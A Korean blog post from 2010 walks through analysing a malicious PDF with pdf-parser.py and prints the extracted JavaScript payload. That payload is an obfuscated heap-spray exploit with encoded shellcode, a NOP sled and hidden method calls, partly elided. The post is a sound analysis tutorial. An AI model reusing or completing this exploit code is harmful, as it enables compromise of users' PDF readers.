'pdf-parser'에 해당되는 글 1건

  1. 2010.02.05 pdf-parser.py 사용법 2
0x04 reference&tools2010. 2. 5. 15:57



머 그냥 전체 내용을 --filter와 --raw 옵션을 줘서 다른 파일로 저장해서 확인하는 방법이 내부 구조 파악하는데 가장 좋겠지만
요즘처럼 adobe 0-day가 많은 경우엔 javascript가 있는 부분만 추출할 수 있으면 더욱 좋겠죠..

http://blog.didierstevens.com/2008/10/20/analyzing-a-malicious-pdf-file/

위 URL에 있는 유튜브 동영상 보셔도 되구요..

제가 현재 쓰고 있는 절차는 다음과 같습니다. 악성PDF 분석하시는데 도움이 되시면 좋겠네요..^^;


pdf-parser.py --stats malware.pdf
Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 9
  3: 5, 8, 9
 /Action 1: 7
 /Catalog 1: 1
 /Font 1: 6
 /Outlines 1: 2
 /Page 1: 4
 /Pages 1: 3


pdf-parser.py --search javascript --raw malware.pdf
obj 7 0
 Type: /Action
 Referencing: 8 0 R

<</Type /Action /S/JavaScript/JS 8 0 R>>


 <<
   /Type /Action
   /S /JavaScript
   /JS 8 0 R
 >>


pdf-parser.py --object 8 --raw --filter malware.pdf
obj 8 0
 Type:
 Referencing:
 Contains stream

<</Length 1339 /Filter /FlateDecode>>

 <<
   /Length 1339
   /Filter /FlateDecode
 >>

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function Buffer()
{
    this._strings = new Array;
}

Buffer.prototype.append = function(str)
{
    this._strings.push(str);
    return this;
}

Buffer.prototype.toString = function()
{
    return this._strings.join("");
}

Buffer.prototype.length = function()
{
    var str = this._strings.join("");
    return str.length;
}
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E...(중략)...\x79";
var d = "\x65\x72";
var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Ze7ba%Zd3db%Z29bc%Z5fc9%Z9fb1%Z5731%Z8314%Z2708%Z4431%Z376c%Z5052%Zd8e7%Zbcd3%Z930f%Zbcd1%Z52e7...(중략)...%Z80ba%Zb411%Z8de7%Z1db7%Zdbd7%Zbcd3%Z1b62%Zb0ab%Z9b6c%Z37df%Zc797%Z377e%Zd3a7%Zb538%Z9b6c%Z37e7%Z6367%Zbcd3%Z85e7%Zce10"));
var nop =  unescape("\x25\x75484a\x25\x75f999");
var e = "\x6E...(중략)...\x29";
var f = "\x70...(중략)...\x31";
var g = "\x20...(중략)...\x31";

var buffer = new Buffer();
while(nop["\x6c...(중략)...\x68"] <= 35000)
{
  buffer.append(nop);
  buffer.append(nop);
  nop = buffer.toString();
}
nop=nop["\x73...(중략)...\x67"](0,35000 - sc["\x6c...(중략)...\x68"]);
memory=new Array();
for(i=0;i<0xE00;i++) memory[i]= nop + sc;
util["\x70...(중략)...\x64"](f+g, e);
util["\x70...(중략)...\x64"](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util["\x70...(중략)...\x64"](f+g, e);


스크립트를 악용하시는 분들은 안계시겠죠?




Posted by demantos